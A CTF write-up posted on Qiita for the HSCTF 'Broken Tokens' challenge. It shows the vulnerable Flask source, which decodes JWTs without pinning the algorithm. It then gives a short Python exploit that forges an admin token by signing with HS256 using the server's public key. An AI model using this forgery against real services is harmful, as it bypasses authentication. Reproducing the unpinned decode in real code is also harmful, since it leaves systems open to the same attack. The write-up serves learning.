1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

HSCTF Broken Tokens Write up

Last updated at Posted at 2020-06-06

HSCTF Broken Tokens Write up

HSCTF was held on June 1 ~ 6 that was the middle of the week so that I couldn't solve many challenges. this CTF was very kind and educational to beginners like me!

recon

In the beginning, The given web page was like this.

broken_page.PNG

It's a simple web page with login form and link to publickey.pem
Additionally, we were provided source code written in python.

import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
    PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == "POST":
        resp = make_response(redirect("/"))
        if request.form["action"] == "Login":
            if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
                auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
            else:
                auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
            resp.set_cookie("auth", auth)
        else:
            resp.delete_cookie("auth")

        return resp
    else:
        auth = request.cookies.get("auth")
        if auth is None:
            logged_in = False
            admin = False
        else:
            logged_in = True
            admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
        resp = make_response(
            render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
        )
    return resp

@app.route("/publickey.pem")
def public_key():
    with open("./publickey.pem", "r") as f:
        resp = make_response(f.read())
        resp.mimetype = 'text/plain'
        return resp

if __name__ == "__main__":
    app.run()

According to this, we had to log in as admin that was authorized by JWT stored in cookie.

In the next, I logged in as a guest for testing the set cookie.
Got the cookie, I decoded the jwt to JSON as below.:point_down_tone2:

jwt.PNG

As written in source code. it uses RS256 for authorization.
After some googling, I found this interesting article

If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

looking at source code, it specifies algorism when encoding but it doesn't when decoding! that's vulnerability.

exploit

I wrote a simple exploit code.

import jwt

with open("publickey.pem", "r") as f:
    public = f.read()

print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))

In this time, jwt uses HS256 for authorization instead of RS256 which means the server interprets as HS256 resulting in the corresponding key!
I set the jwt in cookie and reloaded ... got flag!

flag.PNG

Thank you for reading my writeup in my poor English!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?